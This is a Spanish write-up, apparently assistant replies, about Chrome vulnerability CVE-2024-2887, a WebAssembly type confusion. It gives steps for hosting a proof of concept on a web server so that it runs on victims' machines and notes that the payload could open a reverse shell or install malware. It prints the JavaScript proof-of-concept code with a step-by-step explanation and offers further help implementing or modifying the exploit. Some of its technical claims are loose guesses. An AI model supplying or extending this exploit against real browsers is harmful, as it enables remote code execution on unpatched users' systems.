La vulnerabilidad CVE-2024-2887 en Google Chrome

La vulnerabilidad CVE-2024-2887 es una vulnerabilidad crítica en Google Chrome que permite la ejecución remota de código (RCE). Esto significa que un atacante podría ejecutar código arbitrario en el sistema de la víctima sin que ésta tenga que hacer nada más que visitar una página web maliciosa.

Descripción de la vulnerabilidad:

• Tipo: Ejecución remota de código (RCE)
• Impacto: Alta
• CVE ID: CVE-2024-2887
• Producto afectado: Google Chrome (posiblemente otras aplicaciones basadas en Chromium)

¿Qué hace la vulnerabilidad?

Esta vulnerabilidad permite que un atacante ejecute código arbitrario en la máquina de la víctima al explotar un fallo en el manejo de ciertos objetos en la memoria de Chrome. Un exploit exitoso podría permitir al atacante tomar control completo del sistema, instalar programas, ver, cambiar o eliminar datos, o crear nuevas cuentas con derechos de usuario completos.

¿Cómo se explota?

El repositorio en GitHub proporciona un Proof of Concept (PoC) para explotar esta vulnerabilidad. El proceso general para explotar esta vulnerabilidad es el siguiente:

1. Preparar el entorno:

• Necesitas tener un entorno controlado, como una máquina virtual, para evitar dañar tu sistema.
• Descarga y configura una versión vulnerable de Google Chrome.

1. Revisión del PoC:

• El PoC generalmente incluirá un archivo HTML o un script que explota la vulnerabilidad.
• Abre el PoC para revisar cómo se maneja la explotación. Esto podría involucrar la manipulación de objetos específicos en la memoria de Chrome para desencadenar un desbordamiento de buffer o un uso después de la liberación (use-after-free).

1. Ejecutar el PoC:

• Carga el archivo HTML o script en un servidor web controlado por ti.
• Navega a la URL que aloja el PoC usando la versión vulnerable de Chrome.
• Si el PoC es exitoso, el código arbitrario se ejecutará en la máquina que accede a la URL.

1. Consecución del objetivo:

• Dependiendo del código inyectado, podrías abrir una shell reversa, ejecutar comandos arbitrarios, o incluso instalar malware en la máquina víctima.

Posibles Consecuencias:

• Control total del sistema: Una vez que se explota la vulnerabilidad, el atacante puede tener el control total del sistema afectado.
• Robo de datos: Puede robarse información sensible almacenada en el navegador o en el sistema.
• Propagación de malware: El atacante podría usar el sistema comprometido para distribuir malware a otras víctimas.

Mitigación:

• Actualizar Google Chrome: Asegúrate de tener instalada la última versión de Chrome, donde esta vulnerabilidad ha sido parcheada.
• Deshabilitar funciones peligrosas: Deshabilita JavaScript o evita navegar en sitios web no confiables hasta que hayas actualizado tu navegador.

Si necesitas una guía más detallada sobre cómo implementar o modificar el PoC, no dudes en pedírmelo.

Exploit Cromo-CVE-2024-2887-RCE-POC

Como funciona

El código que has proporcionado es un exploit en JavaScript para la vulnerabilidad CVE-2024-2887 en Google Chrome, específicamente relacionada con la ejecución de código arbitrario a través de confusión de tipos en WebAssembly (WASM). Voy a explicarte cómo funciona paso a paso.

Paso 1: Crear múltiples tipos canónicos

{
  const builder = new WasmModuleBuilder();
  builder.startRecGroup();
  for (let i = 0; i < 1000000; i++) {
    builder.addArray(kWasmI64);
  }
  builder.endRecGroup();
  builder.instantiate();
}

• Objetivo: Este bloque de código crea un millón de tipos canónicos adicionales en WASM, lo que hace que el total de tipos sea 1,000,002 (suponiendo que ya hay 2 tipos canónicos predefinidos, kNumberOfPredefinedTypes = 2).
• Cómo funciona:
• WasmModuleBuilder es una clase que permite construir módulos de WebAssembly.
• startRecGroup() inicia un grupo recursivo para definir tipos complejos.
• addArray(kWasmI64) agrega un tipo de array con elementos de 64 bits (I64).
• Esto se repite 1,000,000 veces para crear una gran cantidad de tipos.
• endRecGroup() finaliza la definición de estos tipos.
• instantiate() crea una instancia del módulo, materializando estos tipos en el entorno WASM.

Paso 2: Confundir un argumento como un struct a través de aliasing

{
  let builder = new WasmModuleBuilder();
  builder.startRecGroup();
  builder.addArray(kWasmI64); // 1000002
  builder.addArray(kWasmI64); // 1000003
  builder.addArray(kWasmI64); // 1000004
  let struct = builder.addStruct([makeField(kWasmI32, true)]); // 1000005 <- kAny
  let funcSig = builder.addType(makeSig([wasmRefType(struct)], [kWasmI32])); // 1000006
  builder.endRecGroup();
  builder
    .addFunction("read", funcSig)
    .addBody([
      kExprLocalGet,
      0,
      kGCPrefix,
      kExprStructGet,
      struct,
      ...wasmUnsignedLeb(0),
    ])
    .exportFunc();
  const instance = builder.instantiate();
  const wasm = instance.exports;

  console.log(wasm.read(0).toString(16));
}

• Objetivo: Confundir el argumento de una función como un struct, causando que se lea incorrectamente y se produzca un error de segmentación (segfault).
• Cómo funciona:
• Se crean más tipos canónicos (1000002, 1000003, 1000004) y un tipo struct (1000005).
• Este struct se define con un campo de 32 bits (i32), y se considera que tiene el tipo kAny.
• Se define una firma de función (funcSig) que toma una referencia al struct (wasmRefType(struct)) y devuelve un entero de 32 bits (kWasmI32).
• Se agrega la función read que intenta obtener un campo del struct pasado como argumento.
• El código intenta leer de una dirección de memoria inválida al interpretar incorrectamente un argumento, lo que debería causar un error de segmentación.

Paso 3: Resultado de la explotación

// FromJS / WasmJSToWasmObject is mistaking canonicalized type indexes as normal type indexes.
// This confusion also results in the value to be truncated to 20bits (= 0x100000 = 1048576) since
//  ValueType is used to represent the type indexes, so we can even cycle back to 0 and create more
//  types that are confused as kAny.
// => Arbitrary WASM type confusion, variant of @_manfp's CVE-2024-2887 at Pwn2Own Vancouver 2024

• Explicación:
• El exploit aprovecha una confusión de tipos en WebAssembly, donde se confunden índices de tipos canónicos con índices normales.
• Esta confusión causa que el índice de tipo se trunque a 20 bits, lo que permite la creación de más tipos que son malinterpretados como kAny.
• El resultado final es una confusión arbitraria de tipos en WASM, lo que puede llevar a la ejecución de código malicioso.

Conclusión:

Este código es un ejemplo avanzado de cómo las vulnerabilidades en la gestión de tipos en WASM pueden ser explotadas para ejecutar código arbitrario. El exploit utiliza una combinación de creación masiva de tipos y confusión de tipos para forzar un fallo en la ejecución de WebAssembly, logrando un control potencialmente total sobre el proceso afectado.